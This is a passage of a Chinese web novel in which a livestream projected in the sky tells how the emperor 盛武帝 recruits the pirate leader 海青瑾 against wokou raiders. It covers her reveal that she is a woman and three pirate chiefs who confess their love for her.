【所以,他很早之前,就派遣了下属潜伏进倭寇内部,借此获得关于倭寇的种种情报】 天幕下,当听到许三九说倭寇又打算上岸荼毒生灵时,东南沿海的百姓脸上神情都不由紧绷了起来。 但等听到许三九说盛武帝已经提前有所准备后,众人心头就又微松了一口气。 经过这几次的天幕直播,百姓们如今心中已经对凌戈产生了强烈的信任。 大家都相信只要凌戈知道这些事,凌戈就绝不会对他们坐视不管。 【盛武帝希望能通过这一战,打得那些倭寇有来无回,让他们从此以后再也不敢对大盛张牙舞爪】 【赵之翎等诸位将军也都摩拳擦掌,迫切想要与倭寇一决胜负,但当盛武帝与他们开完作战会议后,众人却发现,如果想要在这次大战中做到全歼倭寇的话,他们还需要海青瑾这个海王的帮助才行】 【因为海青瑾当时已经是东南沿海势力范围最广的海盗,其名下掌控的那些岛屿,地理位置都极其重要,而且大多都位于倭寇往返大盛的必经之道上】 【考虑到这些年来,海青瑾也时常会出手阻击倭寇,盛武帝便亲手写了封信,派人送去给海青瑾,希望能与海青瑾达成合作】 【然而,海青瑾在看完信件内容以后,并没有立刻答应合作的事情,反而是让信使给盛武帝捎个口信,说如果盛武帝敢来元宝岛与自己见上一面,自己就会立刻答应这次的合作】 天幕下,许多人听到许三九这句话时,都不由皱起了眉头,觉得这海青瑾实在是大逆不道,竟然敢向盛武帝提出这么一个过分的要求。 要知道,盛武帝当时可已经是一国之君,而海青瑾再怎么厉害,也不过是一个海盗罢了。 按理来说,就算要相见,也该是海青瑾这个海盗去拜见盛武帝才对。 天幕下,元宝岛,海王寨。 海青瑾听到自己这么一个要求时,也是惊得轻挑了下眉头。 殷笠霄此刻更是突然开口,语气似调侃又似提醒:“大当家的,你这么胆大包天,该不会被招安以后,就迅速被那盛武帝给卸磨杀驴了吧?” 听到殷笠霄这话,左恒和明迎宸瞬间都皱起了眉头。 明迎宸更是当即连坐都坐不住了,站起身就朝海青瑾建议道: “大当家,咱们要不还是别接受那盛武帝的招安了吧?反正,咱们在这岛上,山高皇帝远的,那个盛武帝就算想对付咱们,也不是没有那么容易的事情!” 第70章 直播7:你是女人?…… 海青瑾要求盛武帝到岛上见面的这件事情,除了在海王寨里引起轰动外,也在遥远的京师皇宫中掀起了波澜。 盛昭帝刚才觉得自己看天幕没意思,就过来找凌戈这个儿子一起看。 所以,当听到许三九说海青瑾让凌戈去元宝岛见他时,盛昭帝顿时气得不行,觉得海青瑾这是在故意羞辱凌戈。 他神情带着怒意,望向凌戈问道:“你应该不会真听那个疯子的话吧?” 如果是其他人,盛昭帝不会有如此担忧,但因为凌戈向来不按常理出牌,盛昭帝如今也拿不准他的想法。 凌戈也不想欺瞒盛昭帝,他直接说道:“我也不确定,得看具体情况如何。” 盛昭帝听到凌戈这回答,虽然恼怒,但又拿凌戈没办法。 他只好将怒气都迁到海青瑾的头上,咬牙恨恨骂道:“这个叫海青瑾的海盗头子,实在是该死的可恶!” 盛昭帝觉得,如果是自己还没退位那会,他此时肯定已经下旨赐死那海青瑾。 在盛昭帝看来,海青瑾对凌戈的这个要求,完全就是对凌戈的极大冒犯,是极其严重的僭越之举。 盛昭帝目光望向天幕,迫切想知道许三九视频后面的内容。 而许三九随后说出的话,更是让盛昭帝感到一阵赞同。 【海青瑾对盛武帝提出的这个要求,着实是大胆至极】 【盛武帝当时正在南巡的路上,他收到信使带来的海青瑾口信时,已经是快抵达松江府境内】 【赵之翎将军当时伴驾在盛武帝身边,他在得知海青瑾的口信内容后,瞬间气得暴跳如雷,恨不能直接提刀冲到元宝岛上,将海青瑾这个海王给剁成十八块】 【赵之翎将军认为海青瑾是想要故意羞辱盛武帝,所以才提出了这么一个刁钻的要求】 【赵之翎将军直接就跟盛武帝说,让盛武帝不用搭理海青瑾的无理要求,他绝对会将抗击倭寇的胜利带给盛武帝,誓死不会让盛武帝失望】 天幕下,宁勒城,将军府里。 赵禹听到许三九这番话,不由赞同地点了点头,他望向儿子赵之翎说道: “做得好!主忧臣辱,主辱臣死!咱们做武将的,就该对主公这么一个态度!”* 赵之翎此刻心中对于海青瑾也很是不满,所以,即使难得听到父亲赞赏自己,他的眉头也依然紧拧着没松开。 【盛武帝明白赵之翎将军是一片好意】 【他也知道,赵之翎将军并不是会随意夸下海口的人】 【既然赵之翎将军敢向他立下军令状,那无论用何种手段,赵之翎将军都绝对会完成任务】 【但盛武帝同时也很清楚,这一战,若是大盛这边想要将伤亡尽可能地降到最低,就必须需要海青瑾那边的帮忙配合】 【盛武帝打心底里不愿意看到将士和民众因为抗击倭寇而付出过多的伤亡】 【再加上,他多年以来,其实一直都有在暗中关注海青瑾这个东南霸王的行事作风】 【盛武帝认为,以海青瑾的为人处世风格,海青瑾没理由会对他下手】 【所以,即使当时留守京师的孟皇后和温相在收到东南的消息后,第一时间就写信给盛武帝,希望能劝阻他不要去元宝岛赴约,但还没等信件寄到时,盛武帝他人就已经抵达了元宝岛】 【而对于盛武帝的出现,海青瑾其实也感到非常出乎意料,因为海青瑾原本只是想先开出个最难达到的条件,最后再退一步,表示说在岛外见面也行】 【现在盛武帝那么爽快地答应上岛与自己见面,这反而让海青瑾感到有些措手不及】 【所以,面对盛武帝时,海青瑾也拿出了自己的诚恳态度,主动跟盛武帝解释说,自己之所以想与盛武帝见一面,是希望能够亲眼判断盛武帝是否可信,免得在合作过后,自己这边反而遭受到了来自大盛的背刺】 天幕下,元宝岛,海王寨。 殷笠霄听到这里时,直接冷哼了一声: “上一个接受招安的,尸体可是直接被扔在了乱葬岗,死后连个葬身之处都没有!” “闭嘴,别吵吵。” 海青瑾此刻心思都在天幕上,所以说话时,连看都没看殷笠霄一眼。 而就在海青瑾话音刚落下时,许三九就提及了殷笠霄刚才说的事情。 【对于海青瑾表现出来的小心和谨慎,三九我个人觉得,这可能也和盛武帝他祖父造的孽有关】 【东南沿海自古以来就多海盗,而在盛武帝的祖父盛成帝时期,当时东南沿海有个大海盗名为马志壮】 【盛成帝在将他招安以后,事后又将他及其一众部下逮捕并处死】 【可以说,正是盛成帝的这次言而无信,才导致海青瑾事先不敢对盛武帝抱有太多的信心,毕竟血淋淋的过去就摆在那里呢】 天幕下,皇宫里。 凌戈还是头一回听说这事,不过,他此时脸上神情虽然有些诧异,但却还是坦然的。 毕竟,他和盛成帝虽然是祖孙关系,但他又从来没接触过盛成帝,自然不会因为盛成帝过去犯下的过错而感到自责和内疚。 但原本还一脸气愤的盛昭帝,此刻脸上神色则是突然变得有点尴尬。 自己父皇的黑历史骤然被公诸于世,而且自己儿子此刻还就在眼前,盛昭帝心中难免会感到有些不自在。 他想了想,轻咳了一声,强装淡然地朝凌戈解释道: “我那会劝过你祖父了,但他不听,我也拿他没办法,所以事情最后就变成那个样子了。” 对于盛昭帝的这番解释,凌戈心中是信服的。 他知道盛昭帝很多时候确实是个合格的帝王,但盛昭帝还不至于做出如此背信弃义的事情来。 …… 【海青瑾心中早就对倭寇恨得牙痒痒,所以在盛武帝登上元宝岛以后,海青瑾很快就答应下了与大盛合作抗击这次倭寇的来袭】 【而盛武帝这次登岛,除了与海青瑾商谈合作抗倭的事情外,他其实还有一个更大的目标】 【盛武帝一直以来都希望能够建立一支强大的海洋水师,所以,他希望海青瑾及海王寨的其他海盗们能够接受自己的招安】 【他想要将海青瑾等人改编为大盛的海军水师,借此让大盛的海军力量迅速强大起来】 【而为了能够获得海青瑾的信任,盛武帝甚至还朝海青瑾表示,说自己可以给海青瑾公开颁布一道圣旨,宣布说对于海王寨众人过去的种种行为,自己往后都绝不追究】 【对于盛武帝给出的这个条件,海青瑾其实是有些意动的】 【因为在海青瑾看来,若是自己不接受招安的话,那不出十年,盛武帝的大盛海军,绝对会对海王寨进行声势浩大的围剿,势要扫除掉海王寨才罢手】 【海青瑾并不认为,到了那个时候,自己和海王寨的兄弟们能够抗衡住来自大盛的围剿】 【在过去那些年里,当盛武帝在关注海青瑾时,海青瑾也并没有偏安一隅,而是同样留意着盛武帝的各个动向】 【从盛武帝对东南沿海明面上和暗面下的种种布局来看,海青瑾能够明显感受得到,与大盛过去那些不重视海洋的帝王不同,盛武帝这个靠陆军发家的帝王,反而是异常看重海洋】 【而盛武帝也确实是老早就看上了海青瑾训练海军的卓越能力,所以在看到海青瑾神情有些犹豫后,他便又立刻补充道,说如果海青瑾有什么其他顾虑,也可以尽管提出来,他一定努力帮忙解决】 【如果当时对海青瑾说这话的,是其他人,或许海青瑾这位海王并不会真的放下心中的戒备】 【但因为说这话的人是盛武帝,海青瑾想到他自登基以来,对孟皇后、倪青黛医仙的任命安排,以及允许女子参与科举这件开天辟地的事情后,海青瑾最终还是选择了冒险一试,将自己其实是女儿身的秘密告诉给了盛武帝知道】 “你是女人?” 天幕下,殷笠霄激动到“唰”一下站起身,连椅子都被他给瞬间用力带翻。 左恒和明迎宸也同样目瞪口呆地看着海青瑾,一副受到了巨大冲击的模样。 作者有话说: 【引用出自《三国演义》】《 》 70-80 第71章 直播7:谁想做大当家了…… 天幕下,海王寨。 见殷笠霄、左恒和明迎宸他们三人反应都那般激烈,海青瑾瞬间眼神审视地望向他们,声音中带着些玩味: “怎么,听到我是女人,就不甘下位,想反了我,自己翻身做这个海王寨的大当家?” 坐在海青瑾身边的宣琳,此刻也同样目光警惕地盯着殷笠霄他们三人,同时还借着袖子的遮掩,暗暗将手伸向自己衣袖中藏着的那把匕首。 而刚才反应最大的殷笠霄,听到海青瑾这话,却是立刻神色一变。 他梗着脖子,激动地朝海青瑾大声喊道: “谁想做大当家了?大当家的你少污蔑我,我没说过这话!” “我左恒也没这意思!”左恒神情严肃地附和道。 “大当家的,我明迎宸更不可能有这种心思!”明迎宸那俊朗的面容上满是真挚之色,“我知道咱们海王寨这几年能发展到这么好,兄弟们能过上如今这种好日子,全是因为有你这个大当家在运筹帷幄!所以,如果谁要是狼心狗肺,不念你这个大当家的好,我明迎宸绝对第一个不答应!” 明迎宸在说完话后,还眼神锐利地扫了殷笠霄一眼。 在明迎宸看来,殷笠霄就是这海王寨里最大的刺头,也是海青瑾的最大威胁。 而殷笠霄在注意到明迎宸望向自己的那个戒备眼神后,瞬间怒火直冲太阳穴。 他眼神凶狠地回望向明迎宸,恶声恶气地朝他质问道: “明迎宸,你那话什么意思?你要是对我殷笠霄有意见,就不妨摆明车马直说,别像个娘……扭扭捏捏!” 殷笠霄本来是脱口而出,想骂明迎宸像娘们儿,但话还未说全,想到海青瑾也是个女子,就又急忙改了口。 而明迎宸当然也听出了殷笠霄本来的意思,他直接抓住这事,故意说道: “怎么,想说我像娘们是吧?那我还得谢谢你殷笠霄夸赞我呢!我倒是不知道,什么时候像大当家,这竟然变成件坏事了?” 见明迎宸竟然故意对自己偷换概念,还在海青瑾面前上自己的眼药,殷笠霄瞬间气得满脸阴沉。 他眼神凉飕飕地望着明迎宸,说道:“明迎宸,你要是觉得活不耐烦了,我今天就可以成全你,直接给你一个痛快!” 海青瑾本来是担心自己的女子身份曝光后,殷笠霄他们另外三人会因此对大当家这个位置产生野心。 她刚才自打看到天幕出现后,就一直在心中暗暗想着,如果殷笠霄他们有异动的话,自己必须迅速采用强硬手段镇压住局面。 但现在,看到殷笠霄又和明迎宸像往常一样吵了起来,海青瑾心中的警惕就又慢慢降了些许。 “好了,都别吵了!”海青瑾出声说道,“既然你们都没那想当家做主的意思,那现在就重新坐回到位置上去!” 殷笠霄和明迎宸原本还吵得不可开交,但在听到海青瑾发话后,俩人瞬间就都偃旗息鼓。 虽然从他们俩人的眼神中,海青瑾能看出他们对彼此还心存怒意,但只要他们对自己的命令还是顺从的态度,海青瑾便不会深究那么多事情。 因为殷笠霄刚才站得太快,把椅子给带翻了,所以他现在要坐回去,还得再把椅子给重新板正过来。 已经安稳坐回自己椅子上的明迎宸,看到他翻椅子的动作后,直接嘲笑地哼了一声。 殷笠霄听到他幸灾乐祸的声音,心中顿时是一阵不爽,但想到海青瑾刚才的命令,又不得不将怒火给忍了下来。 …… 【一直以来,盛武帝都以为海青瑾这位被人称为“海王”的海盗头子是男人,所以,在听到海青瑾说她其实是女人时,盛武帝自然感到很是出乎意料】 【但是,就如海青瑾选择对盛武帝冒险坦白的原因那样,能够接受孟皇后和其他女子在朝堂上大放光彩的盛武帝,在惊讶过后,他很快也就接受了这件事情】 【他告诉海青瑾说,他看中的,是海青瑾这个人的能力,与海青瑾的性别是男是女并没有任何关系】 【三九我刚才说的这些,很多都是海青瑾自己后来年迈时,在编写《大盛海战兵书》时,写在序言中的事情】 【她还在序言中回忆道,说士为知己者死,自己在与盛武帝长谈了六个小时的时间后,就已经下定决心,不止要配合大盛抗击倭寇,还要接受盛武帝的招安,帮盛武帝训练出一支勇猛善战的大盛海军】* 【不过,海青瑾虽然很快就和盛武帝谈成了招安的事情,但她的想法在当时,却遭受到了海王寨另外三个当家人的反对】 【那三位当家人原本就都不大愿意和盛武帝合作抗倭,对于招安这件事,他们自然更是强烈反对】 【三九我有时候在想,是不是古往今来能办成大事的人,性格其实都是有些霸道或者说一不二】 【例如盛武帝男神,他为了能加快大盛海军的组建速度,会不顾身边众人的反对,亲自到元宝岛上对海青瑾进行招安】 【而海青瑾对于海王寨那么大的势力,也是说放弃就能舍得放弃】 【她在得知其他三个当家都拒绝招安的态度后,就直接朝他们三个人表示,说如果他们不愿意接受招安,那她会带着愿意跟着她的人离开海王寨】 【海青瑾本来还以为自己这样的表态,应该能够让另外三个当家都满意才对】 【毕竟权力不会消失,只会转移,而谁会嫌自己手中的权力增多呢】 【然而,在听到海青瑾那样的想法后,那另外三个海王寨的海盗头子却是立刻态度一百八十度转变】 【事实上,他们反对招安的原因,是怕海青瑾会出事,遭到盛武帝的背叛】 【他们压根没想到,海青瑾竟然会为了招安付出这么大的代价,宁愿舍弃整个海王寨,都硬要去跟随盛武帝】 【那三个海盗头子拿海青瑾没办法,只好朝海青瑾表示说自己也接受招安,但他们都朝海青瑾提出了一个共同的要求,那就是他们依然接受海青瑾的领导,他们只承认海青瑾一个人是自己的头儿】 【海青瑾对他们这个要求,自然感到很是诧异,尤其海王寨的二当家殷笠霄在过去那些年,时常和她对着干】 【海青瑾一直以来,都以为殷笠霄是对自己这个大当家很不服气】 【她压根没有想过殷笠霄其实暗恋自己的这个可能性】 天幕下,“砰”的一声,殷笠霄猛地唰一下站起身,再次掀翻了自己原本坐着的椅子。 而刚才还能镇定得住的海青瑾,此刻脸上也都不由露出了震惊之色。 宣琳坐在海青瑾的身旁,看到海青瑾难得露出那么不淡定的模样,她情不自禁地“噗嗤”一声笑了出来。 她望向海青瑾说道:“我之前就跟你说他对你的感情不一般,你那会还觉得是我多想,这下总该信了吧?” 海青瑾:“……” 海青瑾还是无法相信这事。 殷笠霄可是从小就和她不对付的人,他怎么可能会暗恋她? 海青瑾感觉这事魔幻到比做梦还离谱。 于是,她望向殷笠霄,说道:“你觉得,会不会是因为时隔久远,那位三九姑娘才对你产生了误会?” 殷笠霄原先以为海青瑾是男子时,还敢直勾勾地盯着海青瑾看。 但现在得知海青瑾其实是女子后,见海青瑾朝自己望过来,他反倒是不敢和海青瑾对上视线。 不过,等听到海青瑾还是不愿意相信自己喜欢她这件事,他顿时就又急了。 他忙将自己刚才移开的视线落回到海青瑾身上:“不是误会!我就是喜欢你!之前你还是男子时,我就已经喜欢上你了!” 而在殷笠霄话音刚落下时,众人就又听到许三九在天幕上说道: 【不得不说,像海青瑾这样优秀的人,真的是身上自带万人迷光环】 【除了殷笠霄对海青瑾心存情愫外,事实上,海王寨的那另外两位当家,也同样暗恋着海青瑾这位大当家】 海青瑾闻言,忍不住无奈地闭了闭眼。 说实话,她现在真的宁愿提刀去砍倭寇,都不想面对眼下这复杂的局面。 作者有话说: 【出自于《战国策?赵策一》】 第72章 直播7:黑皮美人谁能不…… “大当家的,你不必为这事感到烦恼。” 听到左恒突然这么说,海青瑾瞬间抬眸望向他。 左恒望着海青瑾,嘴角微微上扬:“我不是今天才开始喜欢上你,但你回忆一下,在过去的那些时间里,我有因为这事而给你带来过什么困扰吗?” 见海青瑾脸上神情出现沉思,左恒知道海青瑾确实听进了自己的话。 他笑着朝海青瑾继续道:“在我看来,我对你心存爱慕这件事,就跟大当家你是女子这件事一样,这都是早已板上钉钉的事情,只是今天才因为天幕而被众人所知晓而已。所以,你也不用烦恼往后应该如何面对我,我们依然像从前那样相处就可以了。” 左恒早就看出海青瑾对自己或许有友情、兄弟情,但绝没有爱情,所以他选择在此刻以退为进,希望能够借此继续维持和海青瑾的往来。 而海青瑾过去也确实从没有考虑过爱情这回事,所以她在刚才听到许三九说殷笠霄、左恒和明迎宸他们三人都喜欢自己时,脑海中的第一反应就是好麻烦。 所以,虽然知道左恒说的一切都保持不变这个说法,其实有点像是自欺欺人,但她还是紧皱的眉头稍稍松了些。 殷笠霄和明迎宸此刻全副心神都放在海青瑾的身上,所以,即使海青瑾的神态只是微微发生变化,他们还是立刻就灵敏地捕捉到了海青瑾的情绪。 殷笠霄顿时气得直在心里骂左恒狡猾奸诈,同时又打算开口学左恒那样表态。 不过,还没等他出声,明迎宸就抢在了他的前头,笑容灿烂地朝海青瑾道: “大当家的,你知道我明迎宸这人打小就没什么花花肠子,你更可以放心地和我相处,我绝对不会让你感到烦心和压力!” 见自己一下子落在了最后面,殷笠霄心中霎时间是又憋屈又焦急,他赶忙也开了口,朝海青瑾打包票,说自己也不急,他们还和原来一样相处就好了。 海青瑾见他们三人都这般表态了,心中烦躁和抵抗的情绪反而不再像一开始那样强烈。 …… 【在和盛武帝相见、并且决定要接受盛武帝的招安后,海青瑾便也没打算再继续隐瞒自己的真实性别了】 【所以,当得知海王寨那另外三个当家也希望跟着自己一起招安,她便将自己是女子的事情向他们三人坦陈了出来】 【海青瑾那个时候还不知道他们三人都暗恋自己的事情,所以见他们听到自己是女子后,都傻楞住了,还以为他们是一时没法接受这件事】 【但等之后,一天之内接连收到他们三个人的告白后,海青瑾就顿时想明白了他们当时为何会是那样的反应】 【而面对他们意料之外的告白,海青瑾自然是毫不犹豫就拒绝了,说自己绝不会跟有妻之夫纠缠】 天幕下,海王寨。 殷笠霄一听到许三九将自己称为“有妻之夫”,顿时就惊得瞪大了双眼,他脱口而出道: “不可能!我怎么可能会成婚?!” 殷笠霄想不出,这天底下除了海青瑾外,自己会愿意和谁共伴一生。 左恒和明迎宸此刻脸上的神情,也变得一片僵硬。 海青瑾原先心中对他们三人的感情很复杂,一方面觉得他们三人与自己从小长大,能称得上一声发小,但另一方面又忌惮他们可能会与自己争权夺势。 但现在,见他们三人仅仅因为许三九的一句话,思绪就产生这么大的波动,她这才真切地感受到,原来他们三个人还真是喜欢她呀? 尤其是殷笠霄,这是让海青瑾最想不到的事情。 “殷笠霄,既然你……” “大当家的,你相信我,我真不可能和别的女人成婚!” 殷笠霄一听到海青瑾喊自己名字,顿时就紧张地替自己解释了起来,甚至还没等海青瑾说完后,就已经先打断了海青瑾。 而左恒和明迎宸这俩人,见海青瑾先提起殷笠霄,心中情绪一时间是纷繁复杂,既暗暗庆幸海青瑾先找的殷笠霄,又有些失落,觉得海青瑾好像是更在乎殷笠霄。 “我不是要问你这事。”海青瑾无奈地瞥了殷笠霄一眼,“我就是突然有点疑惑,你既然说爱慕我,那怎么之前还处处跟我作对?” 殷笠霄刚开始听完海青瑾前面第一句话时,心中还有些高兴,但等听完海青瑾后面真正要问的事情后,他顿时就像是被迎头浇了一盆冰水,心底甚至产生了一种想要逃避的冲动。 但见海青瑾目光还在望着自己,他只能把心一横,硬着头皮开口解释道: “在我们还小的时候,我那会是真的讨厌你,因为我爹一直在我面前说大当家的儿子怎么聪明伶俐,文武双全,让我得向你看齐。” “那个时候,他越夸你,我就越看你不顺眼,处处都希望自己能压过你一头。但后来,和你接触时间越长,我就越对你心服口服,知道你确实是当之无愧的大当家。” “这几年,我之所以还故意跟你唱反调,其实是因为我破罐子破摔,觉得反正你也不可能喜欢我,那我干脆就让你多在意我一些。” 殷笠霄越说越觉得懊恼,感觉过去的那个自己实在是愚蠢到可笑。 而海青瑾听到殷笠霄提起这些事后,不由也回想起了自己小时候的事情。 殷笠霄说他把她视为了对手,她又何尝不是呢? 海青瑾的母亲是被海父强行掳到岛上来的商户家小姐。 海母虽然看似表面对海父很顺从,但实际心中一直对他是恨之入骨。 因为这边的海盗很是迷信“女子不能上船”这个规定,认为船上如果出现女人,就很容易遭遇风暴、翻船等厄运,海母为了报复海父,便朝海父谎称说海青瑾是个男儿。 海母希望海青瑾能够接手海父这个仇人的一切势力,便从小严厉要求海青瑾,希望她处处都能胜过这海王寨里的其他同龄小孩。 海父临去世之前,因为中风而在床上瘫痪了三年多,连话都说不出来。 海母等到那个时候,才把海青瑾其实是女子的真相告诉给海父知道,把海父气得每次只要看到海母和海青瑾,就一阵怒目瞪眼,但又起不来身,只能对海母和海青瑾一阵干瞪眼,把自己气得够呛。 而在海父去世后没多久,海母给海青瑾留下了一封道歉信,然后便乘着一艘小船独自离开了元宝岛。 对于母亲打算离开的事情,海青瑾早就已经知道。 她也清楚母亲对她的感情很复杂,可以称得上是爱恨各半。 但无论如何,海青瑾都对母亲心存感激之情,不仅是因为母亲给予了她生命,更是因为母亲让她拥有了掌握权力的机会。 殷笠霄见自己说完话后,海青瑾突然就沉默了起来,心中顿时更是惴惴不安。 注意到殷笠霄望着自己的眼神,竟然流露出了些许忐忑,海青瑾嘴角突然往上轻轻勾了起来: “过去的事情,就一笔勾销吧,以后老实点,别再成天想着折腾事情了。” 殷笠霄听到海青瑾这话,瞬间一脸如释重负的表情,他眉眼间染上雀跃的笑意: “大当家的,你放心,我以后肯定对你言听计从,再也不跟你别苗头了!” 见海青瑾竟然那么容易就让殷笠霄将事情翻篇,明迎宸心中瞬间就对殷笠霄感到一阵不服气。 但他知道海青瑾最不喜欢别人反驳自己,也只好就此忍下了心中的不满。 对于许三九刚才说殷笠霄他们三人未来会成婚这事,海青瑾此刻心中其实并没有那么在意。 而且,她心中隐隐有个猜测。 果不其然,她随后就听到许三九在天幕上说道: 【海王寨的那三位当家人,在听到海青瑾这位大当家的拒绝理由后,急忙都朝海青瑾解释,说自己和海青瑾一样,也是都找了个女子假结婚】 【海青瑾当初和她“妻子”宣琳假结婚,那是因为宣琳的夫君被倭寇给杀了,宣琳不愿意落入倭寇手中,遭受倭寇凌辱,才故意跳海寻死,却没成想被海青瑾在海里给救了上来】 【海青瑾见宣琳无处可去,肚中又已经有孕半个月,这才想到,自己可以和宣琳各取所需,让宣琳帮忙装成自己的妻子】 【但殷笠霄他们可没有海青瑾这样的运气了】 【于是,不想结婚的他们,为了一劳永逸,竟然就都找上了那种意外怀孕的青楼女子】 【他们花重金帮那有身孕的女子赎身,还另外给那女子一大笔钱,但对那女子的要求就是假装成自己的妻子】 天幕上,许三九说到这时,弹幕里涌现出了不少网友的吐槽: 【请问,到底是谁说古人保守的呀?我看他们这感情生活,比咱现代人抓马多了!】 【笑死,我之前看过一篇推送,不知道是真是假,就说殷笠霄他们这三个海盗头子因为暗恋海青瑾这个海王的关系,还没少吃宣琳的醋。就算后面知道了海王其实也是女子后,他们三个也还是对宣琳放不下心来,生怕宣琳会成为自己的情敌】 【我要是他们,我肯定也没法放心,海青瑾身上的魅力,显然是大到能跨越性别界限的那种!】 【我就问问,黑皮美人谁能不爱呀?而且,海青瑾还不是那种花瓶美人,自身的能力也强到惊人!】 … 天幕下,海王寨。 虽然被弹幕里的网友们调侃了一番,但听到许三九帮自己洗清了“冤屈”,殷笠霄、左恒和明迎宸三人还是瞬间心头松了一大口气。 他们如今本就困难重重,如果再叠加个不贞的名头,那他们真是有生之年都不用妄想自己能和海青瑾在一起了。 第73章 直播7:强必寇盗,弱则…… 天幕上,许三九望向镜头,笑着说道: 【殷笠霄他们那三个海盗头子以为自己解释清楚成婚的事情后,或许海青瑾就会改变主意】 【但海青瑾当时对他们是真的没有男女之情,而且还要忙于与盛武帝那边合作抗倭的事情,所以就还是拒绝了殷笠霄他们】 【不过,因为担心殷笠霄他们会和自己闹翻,给自己增加不必要的麻烦,海青瑾在拒绝了他们以后,又觉得自己应该给他们一点希望,所以就朝他们三个人说,自己会根据他们三人后续的表现,再来决定是否会更改想法】 天幕下,明迎宸听到自己被拒绝,心情就已经有点失落了,等听到许三九后面说的话后,更是忍不住郁闷地朝海青瑾吐槽道: “大当家,你这是拿着根萝卜,把我们三个人当驴钓呢?” 面对明迎宸的询问,海青瑾一脸坦荡荡,直接道: “怎么,你难不成是今天才认识我?我本来就是这样的性格,你要是不能接受,大可以去喜欢其他的人。” 对于自己会做出天幕上所说的那种举措,海青瑾丝毫不感到意外。 既然她当时已经决定接受盛武帝的招安,那如果和殷笠霄他们闹掰,以至于殷笠霄他们依然选择继续当海盗,那她肯定迟早要和殷笠霄他们兵戎相见。 因为,以盛武帝那样拥有雄才伟略的帝王,既然他已经决定改变大盛的海洋政策,开始重视起海洋利益,那他就绝对会清除掉大盛沿海附近一切具有威胁的势力 海青瑾坚信,如果自己和殷笠霄他们对上,她绝对会是最后胜利的那一个。 但她也知道,殷笠霄他们三人在海战上的实力其实不弱,各自都有自己擅长的优势。 如果她和殷笠霄他们真的走到开战那一步,双方肯定都会出现不小的伤亡。 海青瑾不希望看到这样的局面出现。 所以,如果能提前阻止这种情况发生,那她肯定会去尽力一试。 毕竟,跟着盛武帝这样的千古明君,将来能达到的成就,可比当个偏安一隅的海盗头子强多了。 所以,海青瑾丝毫不认为自己的做法有什么问题。 而她的这个态度,无论是从她刚才回答明迎宸的言语,还是她此刻脸上的神情,众人都能一眼就看出来。 殷笠霄还记恨着明迎宸先前那会嘲笑自己的事情。 眼下见明迎宸在海青瑾那里碰了壁,他立刻对着明迎宸落井下石道: “明迎宸,你这可真是狗咬吕洞宾,不识好人心!什么狗屁胡萝卜钓驴,你不会说话就闭嘴?!大当家她肯帮着咱们搭上当今圣上那条线,这是别人求爷爷跪奶奶都求不来的好事,咱们理应对她感恩戴德才是!”* “况且,你明迎宸不想跟着大当家干,难不成是想带着你手底下的那帮弟兄,站到大当家和当今圣上的对立面不成?”* 打击情敌这种事,就连性情向来稳重的左恒,此刻都不愿意放过这么一个机会。 于是,在殷笠霄话音落下后,他随即跟着开口道:“反正大当家走到哪里,我就跟到哪里,我相信大当家肯定不会害了咱们兄弟!” 明迎宸本来还在因为海青瑾她刚才冷冰冰的回答而感到伤心。 现在听到殷笠霄和左恒俩人夹枪带棒、含沙射影的话后,他瞬间气得是满脸涨红。 因为害怕海青瑾会真的误会自己对她有意见,他甚至顾不得和殷笠霄、左恒辩驳,而是急忙望向海青瑾,声音急促地解释道: “大当家的,我真没有他们说的那意思!我可以对天发誓,我明迎宸这辈子生是你的人,死是你的鬼,绝对不可能对你起任何背叛的心思!” 宣琳本来还担心明迎宸、殷笠霄他们会因为许三九在天幕上说的话,而对海青瑾产生不满的情绪。 但看到殷笠霄和明迎宸他们三人此刻的反应后,她不由在心中充满感叹地想着,这三个人看来真是被大当家给吃得死死的。 而海青瑾也没料到局势竟然会往这个方向发展,特别是在听到殷笠霄的话语时,她更是觉得一阵怪异。 或许殷笠霄自认为自己的话语听起来很悦耳,但海青瑾听着,却总有一种殷笠霄好像在对她阴阳怪气的感觉。 至于明迎宸,海青瑾倒是没怀疑过他什么。 她知道明迎宸的心思相较殷笠霄和左恒他们而言,其实简单很多,经常是想到什么就说什么,并没有太多的小九九。 海青瑾其实更喜欢和性格直来直去的明迎宸相处,所以,在听到明迎宸朝自己发誓后,她便点了点头,道: “只要我一天还是海王寨的大当家,我也肯定不会背叛各位兄弟,你们大家都可以放心。但同样的,我也不喜欢别人怀疑我,这个寨子里只需要有一个声音!” 听到海青瑾这番许诺中又暗含敲打的话,明迎宸、殷笠霄以及海王寨其他的所有海盗们,都瞬间齐声应了一声“是”。 看到众人显然还是对自己信服的模样,海青瑾的眼神中这才浮现出了几分满意。 虽然她已经决定要向盛武帝投诚,但她光杆司令一个人接受招安,和她带着整个海王寨招安,这两者的影响还是有很大不同的。 天幕上,许三九这时语气感慨地说道: 【不得不说,海青瑾能坐稳海王寨的大当家那么多年,在拿捏人心这方面,确实是很有能耐】 【海王寨的那三位当家在听到海青瑾松了口风的表态后,一个个都激动得跟打了鸡血似的】 【在随后的那场抗倭大战中,他们三人都踌躇满志,争抢着奋勇杀敌,生怕自己的风头被另外两个情敌给盖过去】 【因为他们三人在这场抗倭大战中,都立下了不少功劳,盛武帝甚至还特意跟海青瑾夸赞了一番,说她麾下真是人才辈出】 【不过,虽然殷笠霄他们三人都在这场陆海协同的抗倭大战中表现卓越,但在这场战争中,立下最大功劳的那个人还是海青瑾】 【在这场大战中,倭寇为了能够取得比泰安二十六那场大捷还更丰硕的战果,他们一次性集结了近900艘大大小小的战船,其倭寇头目中岛贵田更是扬言说凡是其所到之处,皆要屠城三日】 【然而,这个中岛贵田在登陆抢滩之时,便遭到了海青瑾的伏击,最后甚至连头颅都被海青瑾给一刀就砍了下来】 【出师未捷身先死,中岛贵田这个大头目的死亡,自然让那群倭寇陷入了群虫无首的巨大慌乱之中】 【很多倭寇吓到纷纷往回跑,想要赶紧逃回海上去,然而在他们回去的必经之路上,盛武帝也早已让人备好了天罗地网】 【于是,这些原本磨刀霍霍想要血洗东南沿海的倭寇,反而一个个都成了大盛将士的刀下亡魂】 【根据倭岛那边自己的记载,倭寇在这一场大战里,堪称是全军覆没,最终只有十几条小船逃回了倭岛】 【倭岛那边的人,一直都对于这场史诗级的大败耿耿于怀】 【再加上死在海青瑾手中的中岛贵田,是他们倭岛历史上的著名剑客,所以前几年倭岛那边有一部历史动漫,还故意对海青瑾进行了抹黑】 